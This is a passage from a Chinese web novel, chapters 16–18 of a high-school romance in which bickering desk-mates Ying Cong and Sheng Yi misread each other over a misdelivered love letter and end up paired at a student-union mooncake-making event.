于是裴少言只是略一沉吟,便也答应了。
虽然应琮没想到即使是裴少言这么骄傲的人也会受到“羊群效应”摆布,但她乐见其成。
总算可以和应女士交差了。
按照约定好的时间,几人陆续出现在校门口。
“你们想要吃什么?”应琮道。
手上有钱,心里不慌。
不过,其实学校附近能选择的餐厅就那么几个。
“随便在学校附近吃点什么吧。”丁一锐显然是这附近的常客了,伸手一指马路对面醒目的招牌,“那里就不错。”
“你们呢?”
见自己身后两个男生没说话,应琮转头看去。
“可以。”裴少言点点头。
盛逸也表示自己没有异议。
反正是家喻户晓的连锁快餐店,没什么好忌口的。
正值放学期间,店内坐了不少人,许多都是穿着校服的学生。
好不容易才找到一张足够容纳下他们的大桌,程依依拉着应琮赶紧坐下占位,有些人却犹豫地立在一旁。
“……你们为什么不坐下来?”应琮奇怪道。
这是一张六人桌,她和程依依坐在同边,另一边留给他们三个男生,应该是刚好。
但现在,三个人高马大的男生站在桌子边,似是欲言又止。
直到她问话,像是终于做了决定一般,盛逸率先坐进最里面的位置,丁一锐和裴少言依次也坐了下来。
“我们点东西吃吧!”程依依指了指桌面上的点餐码。
没想到几个大男生光是坐下来就这么磨蹭,虽然应琮给自己事前打过预防针,但她的确没想到现实真是有点尴尬。
应琮在好友的指挥下拿出自己的手机扫码,顺手递给对面的丁一锐:“你们几个先点吧。”
三人几乎没怎么挑,很快选好了各自要吃的餐点,手机转了一圈又回到应琮的手中。
于是两个女生研究下来,又加了几个小吃。
等餐需要时间,而程依依自然不会放过这么好的一个机会。
“听说你们昨晚还进了派出所,”如果不是不太礼貌,这么大的事她简直想拿个录音笔采访,“感觉怎么样?”
“该有什么感觉,比在老师办公室自在。”
盛逸站起身,主动给每个人的杯子里倒上柠檬水。
“毕竟也是人生中难得的体验,”程依依撇嘴,“就没什么特别的感受吗?”
“你这么好奇,”丁一锐和程依依同为学生会骨干,互相也认识,便开玩笑道,“下次你也进去试试不就知道了。”
“我?我可不能保证自己以正当理由进去。”
找来程依依绝对是正确的选择,贫几句嘴的功夫,菜上来了。
在场的人也只有程依依有给食物拍照的意识。
“谢谢你们几个……”
应琮想着之前学到的大人的餐桌礼仪,下意识地举起手中的杯子,却又不知道如何组织语言。
找到了咪咪?救了裴少言?除掉了西街臭名昭著的混混群体?
该怎么说呢?
“不用客气。”
话还没说清楚,盛逸第一个将自己的杯子碰过去。
玻璃相击,发出清脆的鸣声,像夏日的风铃。
“就是,”丁一锐也举起手边的杯子,“我们还要感谢班花请我们吃饭呢。”
他一时顺嘴,把私底下偶尔和盛逸对应琮的称号秃噜了出来。
当着正主还是有点尴尬的。
后知后觉的丁一锐飞快地抬眸去看对面的脸色,应琮好像也愣了一下。
程依依笑眯眯地举起杯子:“这么快你们班还选上班花班草了啊?”
“不儿,我们之间说着玩的,审美都是主观的,每个人都可以是自己心目中的男神女神。不过我比较谦虚,班草头衔就让给我哥们儿老盛了……”
“没喝酒怎么还能说胡话呢?”盛逸在一旁咬牙无语。
什么叫“我们”,这下同桌不就知道他也管她叫这个了吗?
程依依差点笑喷,赶紧呼吁大家为丁一锐的勇气和自信举杯。
伴随着清脆的“当”一声,五个杯子稀里糊涂举在了一起。
*
“对了,”吃饭过程中,程依依还不忘多问几个问题,“所以你们横扫混混,为什么只有裴少言受伤了?”
啊哦,乱说话是要付出代价的。
应琮手上的叉子一个没拿稳,掉到了地上。
然而餐厅里放着轻快的音乐,周围吃饭的人又在大声聊天,掩盖了掉落的声音。
被她提及的裴少言没有生气,只是轻轻放下自己的餐具,重新拿来一支干净的叉子递去。
应琮接过,小声地道谢。
两个人的动作是如此默契且自然,就好像是久日形成的习惯。。
“什么叫只有他?我受了内伤!”
盛逸突然扬声,指了指自己,状似鸣不平道。
“我受了心理创伤。”
丁一锐忙着用叉子卷起意面,还不忘接话。
“原来如此,”程依依干笑,“那你们还真是辛苦。”
“可是你这里好歹也受伤了,CC怎么没给你包扎好?”她又指着自己耳后,对着裴少言问道。
以她的座位角度一眼就能看到,裴少言的耳后还有一道伤口暴露在空气中。
这些人还真是粗心。
程依依没有想到,自己简单的一句话却像是投下了一颗深水鱼雷,惹得在场的人面色各异。
话音刚落,应琮刚咽下去的一口饭顿时梗在喉里,
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她伸手锤了锤自己的胸口,差点儿顺不下去。
而另一边的盛逸,莫名被水呛得咳嗽不止。
再次成为导火索的裴少言,默默地给两个人的杯子分别倒满水。
知道有人误会,丁一锐像火烧舌头一样解释道:“是我昨天没注意!不是应琮粗心!”
无需解释,只看众人的表现,程依依也知道自己想当然了。
“那我说错了。”她看看应琮,突然扬起意味深长的笑:“不好意思啊。”
妈呀,CC这丫头终于懂得拿捏裴少言了!
不愧是她耳提面命的大弟子。
“吃饭的时候还是少说话为妙。”
应琮好不容易才把食物顺下去,开口道。
“嗯嗯,”程依依识相附和,“CC说得对。”
她不再开口,饭桌很快恢复平静,大家只是吃饭。
没想到今天的饭局还挺有意思的,程依依的眼神左右看看,又低下头。
总感觉……不太对劲啊……
为了验证心里的猜测,程依依悄悄观察起距离自己最近的裴少言。
从一开始,对方就没说什么话,安静地吃饭、待在一边,餐厅里所有的嘈杂仿佛都与其无关。
少年微垂的头,外加露出的一截脖颈,很白,白得令人心惊。
即使他身处于随处可见的快餐店中,也格外吸引人。
无知无觉的,程依依不知道自己看了多久,她下意识地转过脸去看一旁的好友。
应琮认真地切着碟子里的熏鱼排,专注的样子仿佛是在做实验,被切成一块块的、大小标准的鱼排整齐排列在碟中。
程依依莫名弯起唇角,心里一软。
“你吃饱了吗?”应琮正好偏头看她。
因为偏坐在一盏灯下,原本她琥珀色的清透眼眸里,反射出点点微光,平静的面容也变得柔和许多。
“不,没有。”
程依依移开自己的目光,掩饰性地重新抓起勺子,往嘴里塞一口烩饭。
别管了,谁让她是CC的嫡长闺呢,自家孩子咋瞅都顺眼。
*
这顿饭也就吃得还行吧,毕竟是大街小巷都有的连锁店标准出品。
谁让他们学校附近的店主多少都有点味蕾缺失,人家学校门口都有什么美味小吃一条街,他们呢?
“这个、这个、还有那个……卖的东西难吃得要死,竟然还能一直开下去。”
丁一锐沿着路,一连指了好几家店的招牌,面上忿忿不平。
简直是不折不扣的美食荒漠。
“这么夸张吗?”应琮好奇道。
她平时很少在学校附近吃饭,压根不了解。
“确实难吃。”盛逸点点头,颇为认同。
仅高一上学期,他和哥们就已经把学校附近的店都吃过一遍,愣是选不出来一家美食店。
这也是为什么刚刚那家连锁快餐店人气居高不下的原因。
“有时候吃食堂腻了,出来都不知道吃什么好。”丁一锐挠挠头,十分无奈。
“听学姐学长说,以前附近是有几家好吃的店呀?”程依依道。
“可能这就是‘劣币驱逐良币’吧!”丁一锐沉痛道。
恨不相逢未入学时。
“要是学校附近能新开一家好吃的餐厅就好了,”丁一锐惆怅不已,“那我也能有个第二饭堂可以去。”
最好是人均消费低一点,卖的东西再好吃些的店。
“CC,我记得你妈妈是不是开了一家餐厅?”程依依道。
“什么啊,”应琮拍她一下,“你什么记性,我妈妈开的是咖啡厅,里面只卖一些可颂、曲奇什么的。”根本称不上餐厅。
“你妈妈做的东西好吃吗?”丁一锐来了兴趣,恳切地看着她,“能不能把店开在校门口?”拯救一下他们贫瘠的选择。
应琮想了想应女士的厨艺,回以沉默。
16. 第 16 章
高中生的生活中并没有那么多鸡飞狗跳,一中大部分学生的大部分时间都用在了试卷和习题册上。
一直到初秋的凉意从窗缝爬进来,在偶然一天晚上从数学老师那里补完课准备回家的时候,应琮在晚风中打了个喷嚏,才意识到可以多带一件薄外套上学了。
再然后是老师抱怨粉笔盒里都是断粉笔头的次数激增,饮水机旁边垃圾桶里速溶咖啡的袋子也变多了。
高二的第一次月考要来了,一切都像是紧锣密鼓的样子,施施然摆开了阵势:同学们紧张起来了,作业多起来了,老师们上课赶起来了。
即使是应琮,也无法不被这种氛围裹挟着打起精神。
六点三十分的闹铃在枕头下闷响第三遍的时候,应琮正梦见自己怎么也擦不掉黑板上的粉笔字,直到盛逸的声音在后面叫她:
“喂!上课了怎么你还在这?”
她一下从床上弹坐起来,看了一眼时间,连头发都来不及打理,一边跺脚一边刷牙:“妈!我的校卡呢?”
她今天还要当值日生,必须要比平时早二十分钟到班。
厨房里应女士的声音穿透豆浆机低沉的轰鸣:“餐桌上,和早餐放在一起——”
赶时间的应琮抓起发绳将一头卷发扎起,拽着书包把校卡和钥匙塞进去就往门外冲。
大门关上的震颤将应雨柔唤了出来,只看到餐桌上孤零零的一盘早餐。
她连忙抓起搭在椅背的校服外套追出去:“早餐不吃?今天降温也不把外套拿上吗?”
可惜楼道里的回声追不上应琮翻飞的校服衣角。
“今天怎么这么赶?”
应雨柔嘟囔一声,刚要转身,“咔哒”一声,隔壁的门开了。
“阿姨好。”
裴少言见到应雨柔,礼貌地率先开口。
“少言还没出门啊,”见到他,应雨柔就情不自禁地露出笑容,“那你能不能顺便帮阿姨一个忙?”
裴少言愣了一秒,而后点点头。
*
过了二十几分钟,应琮气喘吁吁的身影出现在教室门口。
还好,不算太晚。
她看看手表,距离早读开始还有十分钟。
而同组的其他人已经按部就班地开始搞卫生。
盛逸拿着个拖把,一边在走廊上沾水写着狂草,一边和路过的熟人打招呼。
“大爷写个biangbiang面看看。”有人笑嘻嘻道。
“地板上位置不够,我在你脸上写。”
应琮对这种男生之间的玩笑颇为无语,顺便无视了刚抬头想和自己打招呼的同桌,进去座位上放好书包,就要去洗抹布。
她负责的是整理讲台和擦窗台缝隙里的灰尘。
工作虽然看起来清闲,但却最容易被扣分,应琮不敢掉以轻心。
“抹布呢?”
看到卫生角的挂钩空无一物,她奇怪道。
“抹布被盛逸拿走了。”
冷不丁的有个男声从身后传来,应琮吓了一跳。
“他洗拖把的时候,应该顺便把抹布也洗了。”杨乐补充,他是过来拿扫把的。
“哦。”
应琮点点头,正准备迈步过去。
“同桌之间感情还真好。”
临走时,杨乐忽然幽幽道。
??!
应琮瞬间停下脚步,却发现对方看也没看自己,已经拿着扫把径直往教室走去。
什么感情好?谁和他感情好?!
这个莫名其妙的后桌知道什么?!
看向在走廊上热情四射的盛逸,应琮蹙眉,直接朝他走过去。
盛逸这家伙好像和谁都自来熟,难道是他跟别人说了什么?
比如单方面认了自己做妹妹之类的。
冷风一吹,她裸露在外的手臂不由得泛起鸡皮疙瘩。
“盛逸!”
她直呼全名。
“同桌有何贵干?”对方大咧咧地转身看过来,“哇你今天的发型很有松弛感啊!”
自从上次丁一锐误将“班花”二字说出口后,他夸赞应琮的外貌也是信手拈来。
一会儿“这个发夹很可爱嘛!”,一会儿“你这个自然卷比店里做的还精致。”
虽然盛逸的本意是有啥说啥,实话实说;再加上他总觉得同桌在某些人面前自信缺失,或许有没有充分意识到自己的美的成分在。
可惜他的话听在应琮耳朵里,要么是海王撒网,要么是现在这样——阴阳怪气。
“松弛感”不就是讽刺她头发乱吗?
“班里的抹布呢?被你吃了吗?”
应琮眉心微皱,语气不善。
“虽然我确实还没有吃早餐,但是也不至于饥不择食吧。”
盛逸弯下腰,将泡在水桶里的抹布拧干递过去。
“给你。”
应琮冷哼一声,接过抹布快步离开。
她以后一定谨言慎行,避免和这家伙接触。
免得到时候还会传出什么风言风语。
没察觉到同桌脾气异于常人的盛逸,继续在走廊上洗刷刷。
*
“应琮,有人找。”
晚起的代价就是:早读结束后的短暂课间,应琮饿得多喝了两口水。
正犹豫着自己要不要去小卖部买点食粮时,忽然有人传话过来。
谁会专门在这么短的时间来找呢?
应琮来到走廊上,顿时愣住了。
真的假的?
她下意识地左右看看,走廊上驻足等待的,只有眼前的这个人。
“……你找我?”
应琮停下脚步,两个人保持在不远不近的距离。
“这是阿姨让我帮忙带给你的,”裴少言递过原本搭在手臂上的外套,又把手上的袋子打开,“你的外套和早餐忘拿了。”
原来如此。
应琮接过,低声道谢。
保温盒表面可能沾到了油烟,她看到裴少言手上捏了一块纸巾擦手,忽然想起高一的时候二人做同桌时,每次她在教室吃了早餐,他都要拿湿纸巾将她的桌子再全部擦一遍。
裴少言一定很讨厌手上沾到这些吧?
应琮下意识抬头,小声道,“我妈又麻烦你……”
裴少言低头擦手的动作一顿,没有看她,语气冰冷:“你下次上学不要这么匆匆忙忙,就没事了。”
的确是她起晚了,应琮虽然因为裴少言的语气有点莫名不开心,但也没有辩解余地。
她从袋子里拿出妈妈塞的草莓牛奶:“那这个给你当谢礼——”
“不用,你自己留着喝吧。”
裴少言说完,转身就离开,临下楼在转角处将纸巾丢进垃圾桶。
应琮愣愣地看着他的背影,一句“那我下次给你买巧克力味的”都没说出口。
真是的!不喜欢就不喜欢呗,她又不会缠着。
搞得逃跑一样至于吗!
她回到座位上,将印花袋放在桌上。
“哟,这么快就回来啦。”
盛逸的语气莫名有些不对劲,和他平时展现出来的热情洋溢不太像。
应琮懒得理他,将袋子里的饭盒拿出来,自顾自打开。<
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五颜六色的水果、对半切开的水煮蛋、两颗拌了海苔的饭团外加袋子里的一盒草莓牛奶。
即使无人理会,旁边坐着的人也丝毫没有安静下来的意思。
“早上做值日还有爱心早餐吃。不过,看起来水果像没洗就切了,早上吃水煮蛋配牛奶一整天嘴里都有味……”
盛逸的嘴像连珠炮一样,无差别攻击饭盒内的所有的食物。
“总比便利店冷掉的饭团强。”应琮实在忍无可忍,瞥了眼盛逸抽屉里露出的半个三角饭团包装。
“饭团吃完会晕碳,等下你上语文课直接眠了。”盛逸像屏蔽攻击一样,甚至进一步倾身过来。
应琮一时间没躲开,闻到对方身上淡淡的洗衣液香味。
“居然还有腌萝卜……”他鼻尖几乎碰到她饭盒,“……闻着倒还行。”
“你属警犬的啊?”
应琮“啪”地盖上饭盒。
有点吃不下去了。
“是,怎么呢?”
盛逸毫不犹豫地承认了,厚脸皮的样子令人更加气愤。
应琮直接翻了个白眼表示自己的无语。
盛逸一下又退开,靠在窗边:“不过你要吃趁早,等下又要上课,凉了伤胃。”
“要你管!”
应琮夹起尚有余温的饭团狠狠嚼。
*
语文课后,应琮拿起桌边挂着的垃圾袋准备去倒。
刚走到后门,似乎看到什么,她猛地收回自己的脚步,整个人的后背紧紧贴着后门。
“应琮,你不走吗?”在她身后的女生怯生生道。
应琮摇摇头,侧身为她让出一条路,又继续认真地看向走廊,同时还不忘往里藏藏自己的身影。
什么情况?!
前面的人分明是她的好朋友程依依。
可为什么依依拦住了盛逸,手上还拿着一个粉红色的信封?
阳光将她的马尾染成蜂蜜色,低着头拉着盛逸袖口的样子分明是在害羞,这是应琮从未见过的程依依。
很快,她看到盛逸表情冷峻,将衣袖自顾自地抽出来。
他接过粉色的信封,然后说了什么后,程依依便一个人转身走了。
应琮心里翻江倒海,还来不及理清楚头绪,就看到盛逸将手上的东西丢进转角处的垃圾桶。
目睹这一幕的她突然觉得胃里纠缠起来,虽然很早自己就在心里猜测过盛逸不是什么好家伙,但是她还是第一次见识到对方冷漠无情的一面。
对象还是她的好朋友……
那个在生理期会给她塞暖宝宝的程依依,打瞌睡的时候替她掩护的程依依……她的心意此刻被丢在臭烘烘的垃圾桶里。
依依甚至连写作文都觉得痛苦,何况是一封情书。
*
“你不是要倒垃圾吗?”
盛逸回来,见同桌依然坐在位置上,神情恍惚,不禁有些奇怪。
“关你什么事?!”
应琮浑身带刺,一点就炸。
又怎么了我的大小姐?
盛逸摸不着头脑,索性放弃和她对话。
他将口袋里的东西塞进桌洞里,眼不见为净。
同样是程依依的朋友,一个可以给互不认识的男同学写粉色告白信,吓得自己像拿了个烫手山芋,收也不是丢也不是。
偏偏对方还凶巴巴地威胁他不得不收,于是盛逸只能夹在书里假装不知道。
另一个和他做了这么久同桌,居然到现在还不肯给自己一点好脸色看。
他爸说的没错,女人心千变万化,比海底针还复杂。
17. 第 17 章
一晃两天过去,盛逸悲惨地发现,同桌丝毫没有“原谅”自己的意思。
以前虽然同桌脾气也不怎么样,但好歹只是待人有点冰块,他还能安慰自己,恰好是同桌心情不好罢了。
可现在不一样了,应琮简直就像是和他有仇一样攻击性满满,而盛逸压根就不知道自己究竟是怎么惹到了大小姐。
他甚至曾经拉着丁一锐一起做控制变量实验,发现应琮的“毒液”唯独对自己喷洒,更是头疼。
不过久而久之,盛逸也不再忍耐,而是毅然决然地开始反击。
现在两个人每天比的就是看谁的嘴皮子更毒,看谁能一语噎死对方。
——物理课上。
低头写练习册的应琮抬头看看,发现老师不知何时在黑板上密密麻麻地写满了公式。
她下意识地用胳膊肘推推自己的同桌。
“上面的公式,都要抄在书上吗?”
看起来不像是这节课学的内容,难道是课外延申?
“不用抄,”盛逸点点自己的太阳穴,笑得云淡风轻,“你双击这里直接截屏就行。”
“……”
好冷的笑话。
应琮白他一眼,握起笔一阵猛抄。
“反正就剩最后十分钟不到了,你们就写写练习册对应的题吧。”
物理老师回头看看时间,这节课的内容也讲的差不多了,他也没必要再多费口舌。
见自己成功预判了老师的预判,应琮低头,接着自己刚刚停下笔的地方继续写。
教室里大家都在做题,只偶尔听见饮水机在角落“咕咚”的声音。
唯独某位同学,在后排翻箱倒柜起来,“窸窸窣窣”很明显。
物理老师的死亡射线几次扫过来,应琮低了低头,被厚脸皮的同桌连累到不好意思。
罪魁祸首丝毫没有觉悟,正猫着腰,恨不得将脑袋也塞进抽屉里找一找。
“你到底在干嘛?”
应琮咬牙,声音从牙缝里小声挤出来。
“我在找物理练习册啊,不见了。”盛逸的声音闷闷地从底下传出来。
“对了,”一无所获的他直起身子,眼神盯着应琮桌上整齐摆放的一摞书,语气充满怀疑,“是不是发下来的时候,被你不小心卷到你那边了?”
荒谬,竟然敢怀疑自己。
应琮面无表情,轻轻伸手移了移那摞书,将书脊尽数露给他看。
物理书、地理书、地理练习册……书脊上清楚印着每本书的名字,明眼人一看便知。
“我可没有偷别人东西的爱好。”她冷哼一声。
“也没说你偷啊,”盛逸见还有几分钟就要下课了,索性也不继续找了,“不是做贼干嘛心虚?”
“滚。”
不知为什么,面对他的时候,应琮的素质和忍耐度总是会变得更低一些。
这种程度的斗嘴,盛逸全当耳旁风。
*
下课铃一响,他弹射起身,径直走向讲台。
又搞什么幺蛾子,应琮坐在位置上,往前看了一眼。
“老师,”盛逸双手合十,举过头顶卖惨道,“我的练习册找不到了……”
在讲台上早就将他的动作看得一清二楚的物理老师露出一个微笑,亲切地看着他,像是在鼓励他继续说下去。
看来老师的心情不错,盛逸像是得了鼓励一般,将心里的打算说了出来:“既然它丢了,那我能不能……”先不写今天的作业。
“你的作业丢了,”物理老师脸上依然是笑着的,说出来的话却格外不近人情,“需要我替你报警吗?还是联系一下联合国?”
“想不到老师你也怪幽默的,我就和您汇报一声。”
盛逸的反应很快,立即笑嘻嘻地接道。
“物理作业丢了,就拿其他同学的去办公室复印。”
老师丢下这句话后,便拿上自己的书走了。
“复印……”坐在前排的丁一锐将二人的对话听得清清楚楚,他将自己的作业递过去,“拿我的吧,我一个字都没写。”
刚刚留下来的十分钟,自己都在抄课上错过的笔记。
看着对方一副贴心为兄弟的样子,盛逸却摆摆手拒绝。
开玩笑,要复印怎么能拿空白的复印?
自己不是那么诚实的人。
他记得同桌一节课边听边写,似乎已经把今天要写的练习做得七七八八了。
盛逸偷感很重地回头,发现应琮刚好不在自己的座位上。
天助我也!
他快步回到桌前,一把抓起深紫色的练习册,还欲盖弥彰地将自己的物理书盖在上面。
冷不丁接触到后座杨乐投来的眼神,盛逸这才反应过来现场还有目击者。
“哥们,你先别告诉她啊。我等下就还了。”他小声道。
杨乐点点头,很好说话的样子。
盛逸放心地揣着两本书,往后门跑去。
“盛逸!”
他刚跑了没几步,便听到背后传来熟悉的声音。
盛逸不敢回头,跑向办公室的脚步快得几乎要出现残影。
“小偷!”
回到座位,应琮不用看也知道发生了什么,她踢踢自己旁边的椅子,气得抿紧双唇。
“他等下就回来了。”
杨乐平淡无波的声音响起,像是旁白一般。
“我没关心!”应琮扭头道。
也不知道他每天坐在后面,究竟都看到了什么。
想到对方之前说觉得他们两个人感情很好的话,应琮就有点受不了。
想了想,她觉得自己还是应该开口解释清楚。
“我和他关系不好。”
他们每说一句话都夹枪带棒,刀光剑影的,也不知道究竟是哪里让他产生了错觉。
“是吗,那是我误会了。”
杨乐微微一笑,马上和她道歉。
应琮点点头,再次强调道,“我们两个关系真的不好,相看两相厌的那种。”
“啊……这么直接吗?”
杨乐的笑容却收敛了,伸手指指应琮的身后。
应琮下意识地回头,看到已经复印完作业的盛逸此刻就站在自己身后。
“我……”她忽然有些慌乱,想要解释什么。
不,自己为什么要解释。
她没有做错任何事情。
她不希望自己和盛逸的关系被人误会……她和盛逸之间相互讨厌。
这才是应该的。
一刹那的慌乱被沉默取缔,应琮直直看向盛逸的双眼,面容平静。
怎么样,我就是讨厌你。
*
盛逸并没有因为那句话有什么异常的反应,他和平时没什么两样。
他虽然喜欢开玩笑,但也并没有成为万人迷的自信。
无非就是自己的同桌不喜欢自己,这有什么?
……
但是应琮未免也太和他过不去了!
体育课自由活动时间。
“没办法,”丁一锐安慰性地拍拍盛逸肩
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膀,“打从分班第一天起,我就知道你俩相处不好。”
“你姓盛,她姓应,你俩凑在一起就是鸡飞狗跳。”他语重心长。
“还有这种说法?”听他说的煞有其事,盛逸将脸从手心抬起来,来了兴趣,“大师,你什么时候学了周易?”
那他俩之间,究竟是谁克了谁?
丁一锐点点头:“我自创的看人术,准吧?”
“滚。”
盛逸没好气地给他一拳。
哪来的草包大师,分明是依箭画靶,照葫芦画瓢。
被打之后的丁一锐耸耸肩,走到对面的树下去拿水。
盛逸搓了搓脸,继续靠在看台下的墙边,看着头顶正逐渐慢行远去的白云。
跳高明明算他强项。
可刚刚怎么会碰杆,还是这么低的杆,这么不优雅的姿态。
摔倒事小,但有些人就是故意看热闹不嫌事大。
想到应琮在一旁发出的嗤笑,还有似带嘲弄和挑衅的眼神,盛逸就一阵心烦。
偏偏她的头发在阳光下格外扎眼,叫自己想不注意都难。
他抓抓自己的头发。
“盛逸。”
远处走来一个熟人,手上似乎还拿着什么。
“程依依?”
见到来人,盛逸立即调整自己的坐姿。
“你们班今天体育课也在操场上啊。”程依依寒暄道,自然地拉近二人之间的距离。
虽然她替人递情书被拒绝了,但内心毫无障碍,路上遇到不敢打招呼的反而是盛逸。
“嗯。”盛逸点点头,直截了当道,“又找我有事?”
不然没道理专门走到他们班所在的区域,而且显而易见的,应琮又不在看台这里。
“放心,没有情书。”程依依笑笑,说明来意,“下周就是中秋节了,学生会举行了活动。”
她递上来一个传单,盛逸瞥了一眼,看到活动名就大概心里有数。
他们学校就是这样,明明放假前百般暗示离家远的高三住宿生最好留校学习,好像少学一天就会少拿两分一样。
但又会装模作样地组织学生会给他们做手工送温暖。
——以便将来发在公众号上,尽显人文关怀。
“我不感兴趣。”盛逸拒绝。
他依稀记得去年学生会组织的活动是做扭扭棒花束,如此高难度的手工,自己哪里会做。
“好直接,”程依依露出受伤的表情,“可是人数实在差的太多了……”
“那你给他报上名。”盛逸指着正朝着二人走来的丁一锐。
“什么报名?”错过前文的丁一锐奇怪道。
程依依将传单递过去,期待地看向他。
“唔……”丁一锐挠挠头,略带无奈,“你是不是忘记了,我是宣传部的,本来就要去到活动现场拍照。”
“好吧。”程依依确实忘记了这一茬,“你拍照的话,也没有空闲时间来做这个。”
“你真的不参加吗?”
她再次看向盛逸,语气里多了些说不清楚的意味,“反正应琮答应我,她会参加。”
“她参加就参加,关我什么事?”盛逸反问道。
“只是说说而已,没什么特别的意思。”
程依依将传单收回,笑笑后便转身离开。
看着她的背影,盛逸忽然一阵气闷。
那个活动,是不是必须要两个人一组来着?
按程依依这个爱做媒的超低思想觉悟,不会把裴少言拉去凑对吧?
18. 第 18 章
学生会作为一中官方认证的校内学生组织,举办活动总是比其他社团大气,这次便成功预约了食堂整个二层来作为场地。
正中间的墙上拉起了横幅,周围还拉了些五颜六色的气球做装饰,看起来格外有节日的气息。
报名的人也陆续按照约定好的时间来到现场。
或许是因为两人一组的规定,大部分同学都带着自己的好友一同前来,绝大部分还是高一的新面孔。
大致是因为他们第一次参加这种校园活动,显得格外兴奋。
多被拉来充几次数就老实了。
相比起来,盛逸就像是华妃看刚入宫的新人一样,心中乏味居多。
他甚至故意比固定的时间晚了一些,站在人群后面,看着大家的后脑勺。
不要问他为什么会出现在这里,他自己也不愿深思。
只是受不了某个自以为是的学霸再放别人鸽子罢了。
盛逸回想自己在教学楼看到的年级第一的身影,觉得隐隐有点不爽:应琮看人的眼光实在有问题。
转念一想,他又暗自叹了口气。
自己甚至都不确定应琮一定会来这里,就上赶着来了。
“请问,我们之中有没有还没选好搭档的同学?”
见人都来得差不多了,整场活动的策划人程依依,拿着手麦站在最前面询问道。
人群你看看我,我看看你。
两两散开,落单的人便如水落石出般,自然而然地露了出来。
“怎么会是你?!”
看到人群后那个低着头的男生,站在程依依附近的应琮难得失态。
盛逸为什么会出现在这里?
她是被程依依拉来的,但是盛逸不是……不久前才和依依表白过吗?
这些男生怎么回事,一个个的不把别人的心意当回事吗?
她站在原地,拧着眉,皱着脸。
遇到意料之外的人,不可谓不晦气。
“只有你们两个没有组员吗?”程依依用公事公办的语调道,“那看来,你们不得不成为一组了。”
毕竟是男俊女靓,躁动的新同学隐隐有要起哄的苗头。
盛逸自打看到应琮就情不自禁舒了一口气,还没来得及开口就听到同桌又在说对他很坏的话。
“我不能和其他人换一换吗?”应琮立即反对。
“可是大家都已经事先组好了……”程依依的眼眸里晃动着恳求的光芒,“我们还是不要拆散别人了。”
闻言,应琮沉默不语。
她心里愁肠百结:依依这是真动心了?
念及此,应琮用一种盛逸从未见过的目光,将这个相处了快一个月的同桌全身上下打量一遍。
盛逸被如此不含一丝感情的眼神注视着,心里不免有点发毛。
事实上,应琮的确是不觉得眼前此人有什么值得好友沉迷的。
但不是因为动心的话,无法解释程依依这诡异的行为。
她心里有些无奈。
想来依依也是借此和盛逸创造机会吧,怪不得她今天不和自己组队。
应琮压根不觉得程依依身边那个所谓“同是学生会成员”的好朋友,能撼动自己嫡长闺的地位。
“盛逸同学,你愿意吗?”
见她没有说话,程依依将选择权递给另一边的盛逸。
“什么时候开始啊!”有同学等不及了,开始委婉催促道。
或许是氛围使然,或许是鬼使神差。
盛逸点了点头,从后面佯装淡定地走出来。
“那我和她一组好了。”
*
“今天我们要做的是冰皮月饼,每个组的材料都已经放在桌子上了。”
程依依带上一次性帽子和袖套,看起来有几分厨师的模样。
而她身旁站着的,是货真价实的大厨。
“大家自行选择一个位置后,就可以跟着我们食堂的钱师傅,一步步地制作月饼啦。”
说罢,程依依退到旁边,把主场让给更加专业的人。
为了更好地看到大厨的示范动作,许多同学都选择围坐在中间的桌子,希望能够离对方更近一些。
但也有例外——
食堂拐角墙壁后的一张桌子,气压莫名变得有些低。
“像你这种四肢发达头脑简单的人,为什么会报名来参加这个?”
应琮撑着脑袋思考了半天,还是忍不住问了出声。
“我有一颗成为中华小当家的心,不行吗?”盛逸顿了顿,反问道。
“比起我,你不是说这种学校活动都是浪费时间吗?”
“……少阴阳我。”
应琮没好气地瞪他一眼,一字一顿道。
“凭什么?”盛逸已经被应琮养成挑衅型人格,“嘴长在我身上,我想怎么说就怎么说。”
懒得与他争辩,应琮起身离开。
“你去哪?”盛逸叫住她。
“去死,你要不要一起?”应琮回头,笑得有些冷。
盛逸缩缩脖子,老实地坐在位置上,听着钱师傅的讲解。
*
“依依,我想问你一个问题……”
应琮走向程依依,深吸一口气。
看到好友过来,程依依亲昵地拉着她到身边,面露疑惑:“问我什么?”
你到底看上了他什么?
你缺不缺钱去看看眼科?
你有喜欢的人为什么不告诉我?
应琮看着程依依脸上洋溢的笑容,又想到垃圾桶里她的粉色情书,咽下那口气,扬起一个悲壮的笑容:“我想问问能不能和你们组换一个月饼模具,我们那个太丑了。”
程依依被她一系列表情变化整得摸不着头脑,但还是很大方地拿出了自己的模具,想到她刚刚对盛逸的抗拒,又忍不住打探道:“欸,你和你同桌关系怎么样?”
应琮表情一僵,心说该来的总还是来了。
“依依……”一向果决的她在面对自己的感情问题时都没这么犹豫纠结,“盛逸那家伙……”
怎么说才能不伤害她的感情又能断了她的心思呢?
“盛逸他……”应琮忽然计上心来。
“他好像对什么女生都不感兴趣……”
“啊?”程依依愣了。
“他好像是……”应琮咬咬牙,“他是个‘给’!”
说完,她偷瞄程依依,发现她表情变幻多端,十分精彩。
应琮轻轻拍拍程依依的肩膀以示安慰,然后便一个人默默离去。
什么都不用多说了,一切尽在不言中。
*
“死完又复活了?”
看到她回来,盛逸头也不抬,往大碗里倒着制作饼皮时需要用到的预拌粉。
“你也倒的太多了。”应琮不理他的问题,淡淡道。
“多吗?”
应琮难得跟他好好说话啊,盛逸略惊奇地抬眉瞅了她一眼,又举起碗掂量掂量,“还好吧。”
“师傅说倒250克的粉,最后就能做出来6个月饼。”
“这肯定超过250克了啊。”应琮无语。但基于她目前对盛逸有一丝愧疚,于是忍下了自己的讽刺之心。
别人桌上的粉就倒在差不多半碗的位置,他们这里,同样大小的碗,粉都已经堆得冒尖了。
要是加水和成面团,估计都要溢出来。
“多就多吧,”盛逸也注意到手中的碗,明显和别人分量悬殊,“大不了等下其他的比例全部都翻倍。”
做多点,剩下的还可以带回去。
“……拿到我们这盒月饼的人,还真是有福了。”
她完
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全不对成果抱有任何的期待。
“你别在旁边事不关己。”
盛逸递给她一个杯子,努努嘴吩咐道,“你去前面打点开水来,滚烫滚烫的。等下和面要用到。”
行吧,怎么说也是一组的。
她也不是一个爱拖别人后腿的人。
应琮接过杯子,正准备离开,又被叫住。
“算了,”盛逸走出来,夺过她手上的杯子,“你肯定不知道要装多少水,还是我去吧。”
……
“有点眼力见,让一让,让一让。”
还没走到位置上,端着满满一杯开水的盛逸就叫道。
谁没有眼力见了?
应琮早就站在一边,为他腾出来位置。
“你想要和面吗?”
盛逸小心翼翼地把手里的杯子放下,偏头看去。
